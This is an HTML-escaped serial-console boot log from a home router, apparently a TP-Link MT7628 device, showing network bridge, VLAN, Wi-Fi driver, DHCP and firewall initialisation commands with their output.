Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[4] = 01e1&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[4] = 01e1&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[4] = 01e1&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[4] = 01e1&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
turn off flow control over.&lt;br /&gt;
starting pid 82, tty &#039;/dev/ttyS1&#039;: &#039;/bin/sh&#039;&lt;br /&gt;
~ # [ util_execSystem ] 141:  ipt_init cmd is &amp;quot;/var/tmp/dconf/rc.router&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ dm_readFile ] 2061:  can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0xa1b0, ret 0, retlen 0xa1b0&lt;br /&gt;
===&amp;gt;Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
 mode&lt;br /&gt;
[ oal_sys_readMaspiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
cFlash ] 1174:  spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
set flash mac : spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
74:DA:88:FC:C3:Aspiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29&lt;br /&gt;
E.&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
[ oal_sys_readMacFlash ] 1174:  set flash mac : 74:DA:88:FC:C3:AE.&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2001 error&lt;br /&gt;
Get SNTP new config&lt;br /&gt;
[ util_execSystem ] 141:  oal_startDynDns cmd is &amp;quot;dyndns /var/tmp/dconf/dyndns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startNoipDns cmd is &amp;quot;noipdns /var/tmp/dconf/noipdns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startCmxDns cmd is &amp;quot;cmxdns /var/tmp/dconf/cmxdns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ioctl: No such device&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addBridge cmd is &amp;quot;brctl addbr br0;brctl setfd br0 0;brctl stp br0 off&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_addLanRules cmd is &amp;quot;iptables -t filter -A INPUT -i br+ -j ACCEPT&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIntf cmd is &amp;quot;ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_util_setProcLanAddr cmd is &amp;quot;echo &amp;quot;br0 16885952,&amp;quot;Raeth v3.1 ( &amp;gt; /proc/net/conNAPI&lt;br /&gt;
ntract_LocalAddr,SkbRecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ util_exec)&lt;br /&gt;
System ] 141:  o&lt;br /&gt;
phy_tx_ring = 0x030cf000, tx_ring = 0xa30cf000&lt;br /&gt;
al_intf_enableIn&lt;br /&gt;
phy_rx_ring0 = 0x030d0000, rx_ring0 = 0xa30d0000&lt;br /&gt;
tf cmd is &amp;quot;ifcon[fe_sw_init:5350]rt305x_esw_init.&lt;br /&gt;
fig eth0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
disable switch phyport...&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000074da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0x88fcc3ae&lt;br /&gt;
RT305x_ESW: Link Status Changed&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 1 : [3]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 2 : [4]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 3 : [5]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1079:  GET UNUSED VLAN TAG 4 : [6]&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.3 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.3 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.4 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.4 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.5 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.5 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 6&amp;quot;&lt;br /&gt;
[ util_execSystem ] device eth0.3 entered promiscuous mode&lt;br /&gt;
141:  oal_intf_edevice eth0 entered promiscuous mode&lt;br /&gt;
nableIntf cmd isbr0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
 &amp;quot;ifconfig eth0.br0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
6 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.6 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 141:  oal_addVlanTagdevice eth0.4 entered promiscuous mode&lt;br /&gt;
Intf cmd is &amp;quot;vcobr0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
nfig add eth0 2&amp;quot;br0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
device eth0.5 entered promiscuous mode&lt;br /&gt;
&lt;br /&gt;
set if eth0.2 tbr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
o wan dev&lt;br /&gt;
[ vlabr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
n_addLanPortsIntoBridge ] 606:  add lan Port 255 from br0&lt;br /&gt;
[ util_execSystem ] 1device eth0.6 entered promiscuous mode&lt;br /&gt;
41:  oal_br_addIbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
ntfIntoBridge cmbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
d is &amp;quot;brctl addif br0 eth0.3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  rsl_initIPv6CfgObj cmd is &amp;quot;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/all/disable_ipv6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_eth_setIGMPSnoopParam cmd is &amp;quot;for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 &amp;gt; $i ; done&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv ra0 set CountryRegion=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ra0       no private ioctls.&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c085d000, size = 1509896 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
RtmpChipOpsHook(492): Not support for HIF_MT yet!&lt;br /&gt;
mt7628_init()--&amp;gt;&lt;br /&gt;
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))&lt;br /&gt;
e2.bin mt7628_init(1156)::(2), pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
mt_bcn_buf_init(218): Not support for HIF_MT yet!&lt;br /&gt;
&amp;lt;--mt7628_init()&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig ra0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
TX_BCN DESC a32b6000 size = 320&lt;br /&gt;
RX[0] DESC a32b8000 size = 2048&lt;br /&gt;
RX[1] DESC a32b9000 size = 2048&lt;br /&gt;
RT_CfgSetApcliMacAddress : invalid mac setting&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
wmode_band_equal(): Band Equal!&lt;br /&gt;
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD&lt;br /&gt;
APSDCapable[0]=0&lt;br /&gt;
APSDCapable[1]=0&lt;br /&gt;
APSDCapable[2]=0&lt;br /&gt;
APSDCapable[3]=0&lt;br /&gt;
APSDCapable[4]=0&lt;br /&gt;
APSDCapable[5]=0&lt;br /&gt;
APSDCapable[6]=0&lt;br /&gt;
APSDCapable[7]=0&lt;br /&gt;
APSDCapable[8]=0&lt;br /&gt;
APSDCapable[9]=0&lt;br /&gt;
APSDCapable[10]=0&lt;br /&gt;
APSDCapable[11]=0&lt;br /&gt;
APSDCapable[12]=0&lt;br /&gt;
APSDCapable[13]=0&lt;br /&gt;
APSDCapable[14]=0&lt;br /&gt;
APSDCapable[15]=0&lt;br /&gt;
default ApCliAPSDCapable[0]=0&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
[RTMPReadParametersHook:297]wifi read profile faild.&lt;br /&gt;
load fw image from fw_header_image&lt;br /&gt;
AndesMTLoadFwMethod1(2263)::pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
FW Version:1&lt;br /&gt;
FW Build Date:20161213152835&lt;br /&gt;
CmdAddressLenReq:(ret = 0)&lt;br /&gt;
CmdFwStartReq: override = 1, address = 1048576&lt;br /&gt;
CmdStartDLRsp: WiFI FW Download Success&lt;br /&gt;
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)&lt;br /&gt;
efuse_probe: efuse = 10000012&lt;br /&gt;
RtmpChipOpsEepromHook::e2p_type=0, inf_Type=4&lt;br /&gt;
RtmpEepromGetDefault::e2p_dafault=2&lt;br /&gt;
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2&lt;br /&gt;
NVM is FLASH mode&lt;br /&gt;
1. Phy Mode = 14&lt;br /&gt;
exec!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400&lt;br /&gt;
tx or rx disable[f0000300][count=0]!!!&lt;br /&gt;
eeFlashId = 0x7628!&lt;br /&gt;
tx or rx disable[f0000300][count=1]!!!&lt;br /&gt;
Country Region from e2p = ffff&lt;br /&gt;
tssi_1_target_pwr_g_band = 34&lt;br /&gt;
2. Phy Mode = 14&lt;br /&gt;
3. Phy Mode = 14&lt;br /&gt;
NICInitPwrPinCfg(11): Not support for HIF_MT yet!&lt;br /&gt;
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!&lt;br /&gt;
mt_mac_init()--&amp;gt;&lt;br /&gt;
MtAsicInitMac()--&amp;gt;&lt;br /&gt;
mt7628_init_mac_cr()--&amp;gt;&lt;br /&gt;
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!&lt;br /&gt;
&amp;lt;--mt_mac_init()&lt;br /&gt;
        WTBL Segment 1 info:&lt;br /&gt;
tx or rx disable[f0000300][count=2]!!!&lt;br /&gt;
Reset tx rx bit!!!&lt;br /&gt;
                MemBaseAddr/FID:0x28000/0&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
        WTBL Segment 2 info:&lt;br /&gt;
                MemBaseAddr/FID:0x40000/0&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 3 info:&lt;br /&gt;
                MemBaseAddr/FID:0x42000/64&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 4 info:&lt;br /&gt;
                MemBaseAddr/FID:0x44000/128&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
AntCfgInit(2940): Not support for HIF_MT yet!&lt;br /&gt;
MCS Set = ff ff 00 00 01&lt;br /&gt;
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
FW LOG: RxDCOC Set DC Valid(8)(2)&lt;br /&gt;
&lt;br /&gt;
tx or rx disable[f0000300][count=0]!!!&lt;br /&gt;
CmdSlotTimeSet:(ret = 0)&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
MtAsicSetRalinkBurstMode(3156): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!&lt;br /&gt;
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]&lt;br /&gt;
CmdLoadDPDDataFromFlash: Channel = 3, DoReload = 0&lt;br /&gt;
MtAsicSetTxPreamble(3135): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!&lt;br /&gt;
The 4-BSSID mode is enabled, the BSSID byte5 MUST be the multiple of 4&lt;br /&gt;
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0&lt;br /&gt;
ap_ftkd&amp;gt; Initialize FT KDP Module...&lt;br /&gt;
Main bssid = 74:da:88:fc:c3:ae&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1&lt;br /&gt;
WiFi Startup Cost (ra0): 3.464s&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_24G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlanSet_ed_chk_proc()::ed_chk=0&lt;br /&gt;
_ra_initWlan cmdmt7628_set_ed_cca: TURN OFF EDCCA  mac 0x10618 = 0xd7083f0f, EDCCA_Status=0&lt;br /&gt;
 is &amp;quot;iwpriv ra0 set ed_chk=0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv ra0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd device ra0 entered promiscuous mode&lt;br /&gt;
is &amp;quot;brctl addif br0: port 5(ra0) entering forwarding state&lt;br /&gt;
br0 ra0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
br0: port 5(ra0) entering forwarding state&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctldevice apcli0 entered promiscuous mode&lt;br /&gt;
 addif br0 apcli0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_addIntfIntoBridge cmd is device ra1 entered promiscuous mode&lt;br /&gt;
&amp;quot;brctl addif br0 ra1&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
d is &amp;quot;wlNetlinkTool &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd&amp;quot;&lt;br /&gt;
&lt;br /&gt;
WLAN-Start wlNetlinkTool&lt;br /&gt;
Waiting for Wireless Events from interfaces...&lt;br /&gt;
swWlanChkAhbErr: netlink to do&lt;br /&gt;
[ util_execSystem ] 141:  oal_wlan_ra_initEnd cmd is &amp;quot;wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  rsl_initLanWlanObj cmd is &amp;quot;echo 0 &amp;gt; /proc/tplink/wl_mode&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ oal_wlan_ra_loadDriver ] 2040:  no 5G chip.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[ rsl_initLanWlanObj ] 9419:  perror:1&lt;br /&gt;
wscd: SSDP UDP PORT = 1900&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2030 error&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 81 send 2004 error&lt;br /&gt;
[ util_execSystem ] 141:  oal_startDhcps cmd is &amp;quot;dhcpd /var/tmp/dconf/udhcpd.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_lan6_startDhcp6s cmd is &amp;quot;dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &amp;amp;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_lan6_startRadvd cmd is &amp;quot;radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_startSnmp cmd is &amp;quot;snmpd -f /var/tmp/dconf/snmpd.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory&lt;br /&gt;
mldProxy# Err: get LLA failed&lt;br /&gt;
[ rsl_initEwanObj ] 298: Initialize EWAN, enable(1)!&lt;br /&gt;
[ rsl_setEwanObj ] 208: Get Ethernet&#039;s stack!&lt;br /&gt;
[ rsl_setEwanObj ] 262: enable ethernet interface now!&lt;br /&gt;
[ oal_ewan_enable ] 458: pEwan-&amp;gt;ifName(eth0.2)&lt;br /&gt;
[ util_execSystem ] 141:  oal_br_delIntfFromBridge cmd is &amp;quot;brctl delif br0 eth0.2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
brctl: bridge br0: Invalid argument&lt;br /&gt;
[ rsl_setEwanObj ] 268: EWAN.ifname(eth0.2)!&lt;br /&gt;
[ wan_conn_wanIpConn_getConnectionInfo ] 906: GET MAC(74:DA:88:FC:C3:AF) successfully!&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 down&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_setIfMac cmd is &amp;quot;ifconfig eth0.2 hw ether 74:DA:88:FC:C3:AF up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.2 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 398: into rsl_initWanPppConnObj!&lt;br /&gt;
[ rsl_initWanPppConnObj ] 515: rsl_initWanPppConnObj successed!&lt;br /&gt;
radvd starting&lt;br /&gt;
[Jan 01 00:00:08] radvd: no linklocal address configured for br0&lt;br /&gt;
[Jan 01 00:00:08] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf&lt;br /&gt;
[ rsl_initAppObj ] 1020:  ==&amp;gt; start dhcp client&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_fwDdos cmd is &amp;quot;iptables -D FORWARD -j FIREWALL_DDOS&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: No chain/target/match by that name.&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_forbidLanPing cmd is &amp;quot;iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_ddos_delPingRule cmd is &amp;quot;iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_ipt_setDDoSRules cmd is &amp;quot;iptables -F FIREWALL_DDOS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  ddos_clearAll cmd is &amp;quot;rm -f /var/tmp/dosHost&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initFirewallObj cmd is &amp;quot;ebtables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -F&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -X&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P INPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P FORWARD DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -P OUTPUT ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N FWRULE&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -N SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment                                --comment &amp;quot;loop back&amp;quot;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT  -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 23 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p tcp --dport 22 -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p tcp --dport 22 -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -A FORWARD -j FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_initIp6FirewallObj cmd is &amp;quot;ip6tables -I FORWARD 1 -j SETMSS&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -D FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ip6tables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -F FIREWALL&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_fw6_setFwEnabeld cmd is &amp;quot;ip6tables -A FIREWALL -j ACCEPT&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanL2tpConnObj ] 245: L2TP Connection(ewan_l2tp) is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanL2tpConnObj ] 245: L2TP Connection() is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPptpConnObj ] 239: PPTP Connection(ewan_pptp) is not enable.&lt;br /&gt;
&lt;br /&gt;
[ rsl_initWanPptpConnObj ] 239: PPTP Connection() is not enable.&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p udp --dport 500 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  setupModules cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko&amp;quot;&lt;br /&gt;
[ util_execSystem ] 141:  oal_openAlg cmd is &amp;quot;iptables -D FORWARD_VPN_PASSTHROUGH  -p tcp --dport 1723 -j DROP&amp;quot;&lt;br /&gt;
&lt;br /&gt;
iptables: Bad rule (does a matching rule exist in that chain?).&lt;br /&gt;
